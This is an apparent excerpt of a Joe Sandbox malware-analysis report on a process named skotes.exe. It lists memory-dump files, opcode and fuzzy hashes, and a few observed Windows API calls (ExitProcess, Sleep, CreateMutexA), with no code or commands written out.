Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"O$`'O
API String ID: 3903695350-3439739587
Opcode ID: a6d47f9ec970fed9f17e771679700233afe799ca476f558395ea1d045c980e49
Instruction ID: 7b0612b866e2891a8c9053f2dce7964207ff965a34f477eb1d725d908c1e9974
Opcode Fuzzy Hash: a6d47f9ec970fed9f17e771679700233afe799ca476f558395ea1d045c980e49
Instruction Fuzzy Hash: 89316D39500605EFDBA4AA3AD845F5B73E7EF0031AF10442FE446D6661DF7CAC948A1D

Analysis Process: skotes.exePID: 4144, Parent PID: 6864COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1986
Total number of Limit Nodes:	9

Executed Functions

Function 00AF652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00AF652A,?,?,?,?,?,00AF7661), ref: 00AF6567

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: df3cd30188a48e52d971a9d678d69970343a7b86c04faad38836290688df94e6
Instruction ID: 4028fe59892d91a84e7b86f5586b0343250daef9f231a13a1e43bff9615cc193
Opcode Fuzzy Hash: df3cd30188a48e52d971a9d678d69970343a7b86c04faad38836290688df94e6
Instruction Fuzzy Hash: 1BE0CD3004010C6FCF357BE8C919E783B69EF5174DF014814FA1857222CB36ED41C640

Function 00AC9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1221b6466eb1f44c84d69ee8d1c4e91e9a7680defa12d114b87c38e1cf267ba0
Instruction ID: f244f3b6b920194dc7c4044424793ca727da7f91f5c8f8e7735b77295601ad1b
Opcode Fuzzy Hash: 1221b6466eb1f44c84d69ee8d1c4e91e9a7680defa12d114b87c38e1cf267ba0
Instruction Fuzzy Hash: 62314631B042049BEB08AB78DD89FAEBBB2EB95314F20825DE414E73E5C7759A818751

Function 00AC9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 52504d3e688d9a13232c32669a004c419c48cefcd7e9711793d5a71e57b342ee
Instruction ID: 582c6489f3d2d667d4fa269e838742c96a37c98a910e38c2a95d6112bee25d87
Opcode Fuzzy Hash: 52504d3e688d9a13232c32669a004c419c48cefcd7e9711793d5a71e57b342ee
Instruction Fuzzy Hash: 253179317002088BEB18ABB8DD89FADB7B2EB96714F20465DE419EB3D1C73599818752

Function 00ACA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ACA963
CreateMutexA.KERNELBASE(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000001.00000002.1724017680.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000001.00000002.1724002601.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724017680.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724071809.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724088724.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724108920.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724124170.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724140511.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724253828.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724278346.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724303378.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724337006.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724352685.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724367357.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724385048.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724401972.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724417017.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724437449.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724453437.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724470582.0000000000CEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724485673.0000000000CEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724502899.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724522536.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724542261.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724557646.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724570203.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724582604.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724596300.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724609519.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724625914.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724638543.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724655369.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724670325.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724683020.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724696048.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724710174.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724723949.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724742408.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724755205.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724768317.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724780728.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724817804.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724831456.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724843697.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724856756.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724872262.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724886778.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1724899881.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: fdedf1e67e0e60a30f917954e4871d7b266bc58ac8bf0afc2d179ed1199f7268
Instruction ID: c45305d31733d38f3e6fb1b52a33cfa5890b3d232d6e634c3eb8a12b04303c66
Opcode Fuzzy Hash: fdedf1e67e0e60a30f917954e4871d7b266bc58ac8bf0afc2d179ed1199f7268
Instruction Fuzzy Hash: 6F316831B102089BEB089BB8DD85F7DF7B2EBA1318F24825DE414E73D5C73699818752

